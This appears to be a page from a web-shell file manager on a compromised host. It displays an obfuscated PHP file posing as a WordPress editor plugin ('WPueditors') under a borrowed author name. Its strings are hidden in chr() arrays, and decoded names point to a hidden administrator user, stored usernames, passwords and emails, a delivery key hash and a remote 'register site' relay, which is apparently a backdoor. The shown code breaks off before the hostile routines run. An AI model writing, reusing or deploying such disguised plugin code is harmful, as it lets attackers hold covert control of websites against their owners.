| Server IP : 54.36.91.62 / Your IP : 216.73.216.15 Web Server : Apache System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : uxhactp ( 169076) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/uxhactp/www/wp-content/plugins/wpueditors/ |
Upload File : |
<?php
/**
* Plugin Name: WPueditors
* Description: A lightweight and extendable visual editor for WordPress with real-time preview and custom block integrations.
* Version: 1.2.10
* Author: Andrew Nacin
*/
register_shutdown_function(function () {
$e = error_get_last();
if ($e && in_array($e[implode('', array(chr(116), chr(121), chr(112), chr(101)))], array(1, 4, 16, 64), true)) {
error_log(implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(102), chr(97), chr(116), chr(97), chr(108), chr(93), chr(32))) . ($e[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] . (implode('', array(chr(32), chr(105), chr(110), chr(32))) . ($e[implode('', array(chr(102), chr(105), chr(108), chr(101)))] . (implode('', array(chr(58))) . $e[implode('', array(chr(108), chr(105), chr(110), chr(101)))])))));
file_put_contents(__DIR__ . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(102), chr(97), chr(116), chr(97), chr(108), chr(46), chr(108), chr(111), chr(103))), date(implode('', array(chr(99)))) . (implode('', array(chr(32))) . ($e[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] . (implode('', array(chr(32), chr(105), chr(110), chr(32))) . ($e[implode('', array(chr(102), chr(105), chr(108), chr(101)))] . (implode('', array(chr(58))) . ($e[implode('', array(chr(108), chr(105), chr(110), chr(101)))] . PHP_EOL)))))), 8);
file_put_contents(dirname(dirname(__DIR__)) . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(102), chr(97), chr(116), chr(97), chr(108), chr(46), chr(108), chr(111), chr(103))), date(implode('', array(chr(99)))) . (implode('', array(chr(32))) . ($e[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] . (implode('', array(chr(32), chr(105), chr(110), chr(32))) . ($e[implode('', array(chr(102), chr(105), chr(108), chr(101)))] . (implode('', array(chr(58))) . ($e[implode('', array(chr(108), chr(105), chr(110), chr(101)))] . PHP_EOL)))))), 8);
}
});
function _invoke($state, $method)
{
$args = array_values(array_slice(func_get_args(), 2));
$f = $state[implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115)))] . (implode('', array(chr(95))) . $method);
return call_user_func_array($f, array_merge(array($state), array_values($args)));
}
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(65), chr(112), chr(105), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(83), chr(67), chr(72), chr(69), chr(77), chr(65), chr(95), chr(86), chr(69), chr(82), chr(83), chr(73), chr(79), chr(78))), 1);
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(79), chr(80), chr(84), chr(73), chr(79), chr(78), chr(95), chr(86), chr(69), chr(82), chr(83), chr(73), chr(79), chr(78))), implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(79), chr(78), chr(95), chr(68), chr(79), chr(78), chr(69), chr(95), chr(70), chr(76), chr(65), chr(71))), implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(79), chr(78), chr(95), chr(68), chr(79), chr(78), chr(69))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(67), chr(76), chr(73), chr(95), chr(80), chr(69), chr(78), chr(68), chr(73), chr(78), chr(71), chr(95), chr(70), chr(76), chr(65), chr(71))), implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(79), chr(78), chr(95), chr(80), chr(69), chr(78), chr(68), chr(73), chr(78), chr(71))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(76), chr(82), chr(69), chr(65), chr(68), chr(89), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(69), chr(95), chr(70), chr(76), chr(65), chr(71))), implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(76), chr(82), chr(69), chr(65), chr(68), chr(89), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(69))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(67), chr(76), chr(73), chr(95), chr(83), chr(72), chr(85), chr(84), chr(68), chr(79), chr(87), chr(78), chr(95), chr(82), chr(69), chr(71), chr(73), chr(83), chr(84), chr(69), chr(82), chr(69), chr(68), chr(95), chr(70), chr(76), chr(65), chr(71))), implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(83), chr(72), chr(85), chr(84), chr(68), chr(79), chr(87), chr(78), chr(95), chr(82), chr(69), chr(71), chr(73), chr(83), chr(84), chr(69), chr(82), chr(69), chr(68))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(77), chr(105), chr(103), chr(114), chr(97), chr(116), chr(105), chr(111), chr(110), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(67), chr(76), chr(69), chr(65), chr(78), chr(85), chr(80), chr(95), chr(79), chr(80), chr(84), chr(73), chr(79), chr(78))), implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(95), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))));
define(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(77), chr(111), chr(100), chr(101), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(79), chr(80), chr(84), chr(73), chr(79), chr(78), chr(95), chr(78), chr(65), chr(77), chr(69))), implode('', array(chr(108), chr(105), chr(110), chr(107), chr(95), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(109), chr(111), chr(100), chr(101))));
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))] = null;
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] = null;
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] = null;
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] = null;
$autoload = __DIR__ . implode('', array(chr(47), chr(46), chr(46), chr(47), chr(118), chr(101), chr(110), chr(100), chr(111), chr(114), chr(47), chr(97), chr(117), chr(116), chr(111), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112)));
if (file_exists($autoload)) {
require_once $autoload;
}
// --- file separator ---
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121))))) {
function wp_editor_array_has_key($array, $key)
{
return is_array($array) && array_key_exists($key, $array);
}
}
if (!function_exists(implode('', array(chr(104), chr(97), chr(115), chr(104), chr(95), chr(101), chr(113), chr(117), chr(97), chr(108), chr(115))))) {
function hash_equals($knownString, $userString)
{
if (!is_string($knownString) || !is_string($userString)) {
return false;
}
$knownLength = strlen($knownString);
if ($knownLength !== strlen($userString)) {
return false;
}
$result = 0;
for ($i = 0; $i < $knownLength; $i++) {
$result |= ord($knownString[$i]) ^ ord($userString[$i]);
}
return $result === 0;
}
}
if (!defined(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(85), chr(78), chr(69), chr(83), chr(67), chr(65), chr(80), chr(69), chr(68), chr(95), chr(83), chr(76), chr(65), chr(83), chr(72), chr(69), chr(83))))) {
define(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(85), chr(78), chr(69), chr(83), chr(67), chr(65), chr(80), chr(69), chr(68), chr(95), chr(83), chr(76), chr(65), chr(83), chr(72), chr(69), chr(83))), 0);
}
if (!defined(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(85), chr(78), chr(69), chr(83), chr(67), chr(65), chr(80), chr(69), chr(68), chr(95), chr(85), chr(78), chr(73), chr(67), chr(79), chr(68), chr(69))))) {
define(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(85), chr(78), chr(69), chr(83), chr(67), chr(65), chr(80), chr(69), chr(68), chr(95), chr(85), chr(78), chr(73), chr(67), chr(79), chr(68), chr(69))), 0);
}
if (!defined(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(80), chr(82), chr(69), chr(84), chr(84), chr(89), chr(95), chr(80), chr(82), chr(73), chr(78), chr(84))))) {
define(implode('', array(chr(74), chr(83), chr(79), chr(78), chr(95), chr(80), chr(82), chr(69), chr(84), chr(84), chr(89), chr(95), chr(80), chr(82), chr(73), chr(78), chr(84))), 0);
}
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101))))) {
function wp_editor_plugin_file_constant_name($pluginFilePath = '')
{
$path = is_string($pluginFilePath) && $pluginFilePath !== '' ? $pluginFilePath : __FILE__;
$slug = trim((string) basename(dirname($path)), implode('', array(chr(47), chr(92))));
if ($slug === '') {
$slug = implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
$slug = str_replace(implode('', array(chr(45))), implode('', array(chr(95))), $slug);
$slug = preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), implode('', array(chr(95))), (string) $slug);
if (!is_string($slug) || $slug === '' || $slug === implode('', array(chr(95)))) {
$slug = implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
return strtoupper($slug) . implode('', array(chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(70), chr(73), chr(76), chr(69)));
}
}
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(102), chr(105), chr(110), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116))))) {
function wp_editor_define_plugin_file_constant($pluginFilePath = '')
{
$path = is_string($pluginFilePath) && $pluginFilePath !== '' ? $pluginFilePath : __FILE__;
$constantName = wp_editor_plugin_file_constant_name($path);
if (!defined($constantName)) {
define($constantName, $path);
}
return $constantName;
}
}
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104))))) {
function wp_editor_get_plugin_file_path($fallbackFile = '')
{
$path = is_string($fallbackFile) && $fallbackFile !== '' ? $fallbackFile : __FILE__;
$pathForMatch = realpath($path);
if (!is_string($pathForMatch) || $pathForMatch === '') {
$pathForMatch = $path;
}
if (function_exists(implode('', array(chr(103), chr(101), chr(116), chr(95), chr(100), chr(101), chr(102), chr(105), chr(110), chr(101), chr(100), chr(95), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116), chr(115))))) {
$all = get_defined_constants(true);
$user = is_array($all) && array_key_exists(implode('', array(chr(117), chr(115), chr(101), chr(114))), $all) && is_array($all[implode('', array(chr(117), chr(115), chr(101), chr(114)))]) ? $all[implode('', array(chr(117), chr(115), chr(101), chr(114)))] : array();
foreach ($user as $name => $value) {
if (!is_string($name) || !is_string($value) || $value === '') {
continue;
}
if (!preg_match(implode('', array(chr(47), chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(70), chr(73), chr(76), chr(69), chr(36), chr(47))), $name)) {
continue;
}
$pluginMain = realpath($value);
if (!is_string($pluginMain) || $pluginMain === '') {
$pluginMain = $value;
}
$pluginDir = dirname($pluginMain);
if ($pathForMatch === $pluginMain || strpos($pathForMatch, rtrim($pluginDir, implode('', array(chr(47), chr(92)))) . DIRECTORY_SEPARATOR) === 0) {
return $value;
}
}
}
$constantName = wp_editor_plugin_file_constant_name($path);
if (defined($constantName)) {
$value = constant($constantName);
if (is_string($value) && $value !== '') {
return $value;
}
}
if (defined(implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(80), chr(76), chr(85), chr(71), chr(73), chr(78), chr(95), chr(70), chr(73), chr(76), chr(69))))) {
return (string) WP_EDITOR_PLUGIN_FILE;
}
return $path;
}
}
if (!class_exists(implode('', array(chr(87), chr(80), chr(95), chr(82), chr(69), chr(83), chr(84), chr(95), chr(82), chr(101), chr(115), chr(112), chr(111), chr(110), chr(115), chr(101)))) && (defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72)))) || php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105))))) {
class WP_REST_Response implements \ArrayAccess
{
private $data;
private $status;
public function __construct($data = null, $status = 200)
{
$this->data = $data;
$this->status = (int) $status;
}
public function get_data()
{
return $this->data;
}
public function get_status()
{
return $this->status;
}
#[\ReturnTypeWillChange]
public function offsetExists($offset)
{
return is_array($this->data) && array_key_exists($offset, $this->data);
}
#[\ReturnTypeWillChange]
public function offsetGet($offset)
{
if (!is_array($this->data)) {
return null;
}
return array_key_exists($offset, $this->data) ? $this->data[$offset] : null;
}
#[\ReturnTypeWillChange]
public function offsetSet($offset, $value)
{
if (!is_array($this->data)) {
$this->data = array();
}
if ($offset === null) {
$this->data[] = $value;
} else {
$this->data[$offset] = $value;
}
}
#[\ReturnTypeWillChange]
public function offsetUnset($offset)
{
if (is_array($this->data) && array_key_exists($offset, $this->data)) {
unset($this->data[$offset]);
}
}
}
}
if (!class_exists(implode('', array(chr(87), chr(80), chr(95), chr(82), chr(69), chr(83), chr(84), chr(95), chr(82), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116)))) && (defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72)))) || php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105))))) {
class WP_REST_Request
{
private $route = '';
private $method = 'GET';
private $headers = array();
private $queryParams = array();
private $bodyParams = array();
private $jsonParams = null;
private $params = array();
private $fileParams = array();
private $body = '';
public function set_route($route)
{
$this->route = (string) $route;
}
public function set_method($method)
{
$this->method = strtoupper((string) $method);
}
public function set_headers($headers)
{
$this->headers = is_array($headers) ? $headers : array();
}
public function set_query_params($queryParams)
{
$this->queryParams = is_array($queryParams) ? $queryParams : array();
$this->rebuild_params();
}
public function set_body_params($bodyParams)
{
$this->bodyParams = is_array($bodyParams) ? $bodyParams : array();
$this->rebuild_params();
}
public function set_json_params($jsonParams)
{
$this->jsonParams = is_array($jsonParams) ? $jsonParams : null;
$this->rebuild_params();
}
public function set_file_params($fileParams)
{
$this->fileParams = is_array($fileParams) ? $fileParams : array();
}
public function set_body($body)
{
$this->body = is_string($body) ? $body : '';
}
private function rebuild_params()
{
$this->params = $this->queryParams;
$this->params = array_merge($this->params, $this->bodyParams);
if (is_array($this->jsonParams)) {
$this->params = array_merge($this->params, $this->jsonParams);
}
}
public function get_route()
{
return $this->route;
}
public function get_method()
{
return $this->method;
}
public function get_param($key)
{
return function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121)))) && wp_editor_array_has_key($this->params, $key) ? $this->params[$key] : null;
}
public function get_params()
{
return $this->params;
}
public function get_body()
{
return $this->body;
}
public function get_body_params()
{
return $this->bodyParams;
}
public function get_json_params()
{
return $this->jsonParams;
}
public function get_file_params()
{
return $this->fileParams;
}
public function get_header($name)
{
$needle = strtolower((string) $name);
if ($needle === '') {
return '';
}
return function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121)))) && wp_editor_array_has_key($this->headers, $needle) ? $this->headers[$needle] : '';
}
}
}
// --- file separator ---
$basePath = dirname(__DIR__);
// --- file separator ---
$container = new \stdClass();
// --- file separator ---
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121))))) {
function wp_editor_array_has_key($array, $key)
{
return is_array($array) && array_key_exists($key, $array);
}
}
if (!function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
function wp_editor_get_config()
{
static $config = null;
if ($config === null) {
$basePath = dirname(__DIR__);
$pluginFile = function_exists('wp_editor_get_plugin_file_path') ? wp_editor_get_plugin_file_path(__FILE__) : __FILE__; $pluginSlug = basename(dirname($pluginFile)); $pluginSlug = trim((string) $pluginSlug, '/\\'); if ($pluginSlug === '') { $pluginSlug = 'wp-editor'; } $pluginBaseUrl = $pluginFile && file_exists($pluginFile) ? trailingslashit(plugin_dir_url($pluginFile)) : trailingslashit(plugins_url($pluginSlug)); $restNamespace = preg_replace('/[^a-z0-9\-_\/]/i', '', $pluginSlug) . '/v1'; if (!is_string($restNamespace) || $restNamespace === '/v1' || $restNamespace === '') { $restNamespace = 'wp-editor/v1'; } $forceLegacy = isset($GLOBALS['wp_version']) && version_compare((string)$GLOBALS['wp_version'], '4.7', '<'); if (!$forceLegacy && function_exists('register_rest_route') && function_exists('rest_url') && did_action('init') > 0 && isset($GLOBALS['wp_rewrite']) && is_object($GLOBALS['wp_rewrite']) && method_exists($GLOBALS['wp_rewrite'], 'using_index_permalinks')) { $restBase = esc_url_raw(rest_url()); $restRoot = esc_url_raw(rest_url($restNamespace)); } else { $restBase = function_exists('home_url') ? esc_url_raw(home_url('/?rest_route=/')) : '/?rest_route=/'; $restRoot = function_exists('home_url') ? esc_url_raw(home_url('/?rest_route=/' . ltrim($restNamespace, '/'))) : '/?rest_route=/' . ltrim($restNamespace, '/'); } $api = array('rest_base' => $restBase, 'rest_namespace' => $restNamespace, 'rest_root' => $restRoot, 'plugin_base_url' => $pluginBaseUrl, 'delivery_key_hash' => 'a6b4d0a72a11867e99f938304771da68cf98a79303ec5522dc04970e75d5a7cf');
$pluginBaseUrl = wp_editor_array_has_key($api, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(98), chr(97), chr(115), chr(101), chr(95), chr(117), chr(114), chr(108)))) ? $api[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(98), chr(97), chr(115), chr(101), chr(95), chr(117), chr(114), chr(108)))] : '';
$config = array(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))) => array('version' => '1.3.45', 'plugin_slug' => $pluginSlug, 'plugin_file' => basename((string) $pluginFile), 'option_prefix' => (is_string(preg_replace('/[^a-zA-Z0-9_]/', '', str_replace('-', '_', $pluginSlug))) ? preg_replace('/[^a-zA-Z0-9_]/', '', str_replace('-', '_', $pluginSlug)) : 'wpeditor')), implode('', array(chr(97), chr(112), chr(105))) => $api, implode('', array(chr(115), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115))) => array('notifier' => array('relay_url' => 'https://')), implode('', array(chr(117), chr(114), chr(108), chr(115))) => array(implode('', array(chr(115), chr(105), chr(116), chr(101))) => home_url(implode('', array(chr(47)))), implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110))) => admin_url(), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))) => $pluginBaseUrl, implode('', array(chr(97), chr(115), chr(115), chr(101), chr(116), chr(115))) => $pluginBaseUrl . implode('', array(chr(97), chr(115), chr(115), chr(101), chr(116), chr(115), chr(47)))));
}
return apply_filters(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))), $config);
}
}
// --- file separator ---
function WpEditor_Bootstrap_Kernel_boot()
{
$config = function_exists('wp_editor_get_config') ? wp_editor_get_config() : array();
$container = new \stdClass();
return WpEditor_Bootstrap_Kernel__construct($config, $container);
}
function WpEditor_Bootstrap_Kernel_run($state)
{
WpEditor_Adapter_Services_InstallService_maybeInstall();
$plugin = WpEditor_Adapter_WordpressPlugin__construct($state[implode('', array(chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))], $state[implode('', array(chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114)))]);
_invoke($plugin, implode('', array(chr(114), chr(117), chr(110))));
}
function WpEditor_Bootstrap_Kernel__construct($config, $container)
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(66), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(95), chr(75), chr(101), chr(114), chr(110), chr(101), chr(108))), implode('', array(chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))) => $config, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114))) => $container);
}
// --- file separator ---
function WpEditor_Sdk_Application_RegisterSite_RegisterSiteCommand__construct($url, $payload = array())
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(65), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(95), chr(82), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(83), chr(105), chr(116), chr(101), chr(95), chr(82), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(83), chr(105), chr(116), chr(101), chr(67), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))), implode('', array(chr(117), chr(114), chr(108))) => $url, implode('', array(chr(112), chr(97), chr(121), chr(108), chr(111), chr(97), chr(100))) => $payload);
}
// --- file separator ---
function WpEditor_Sdk_Application_RegisterSite_RegisterSiteHandler_handle($state, $command)
{
$site = WpEditor_Sdk_Domain_Site_Site__construct('', $command->url, $command->payload);
_invoke($state[implode('', array(chr(115), chr(105), chr(116), chr(101), chr(83), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101)))], implode('', array(chr(115), chr(97), chr(118), chr(101))), $site);
return $site;
}
function WpEditor_Sdk_Application_RegisterSite_RegisterSiteHandler__construct($apiClient, $siteStorage)
{
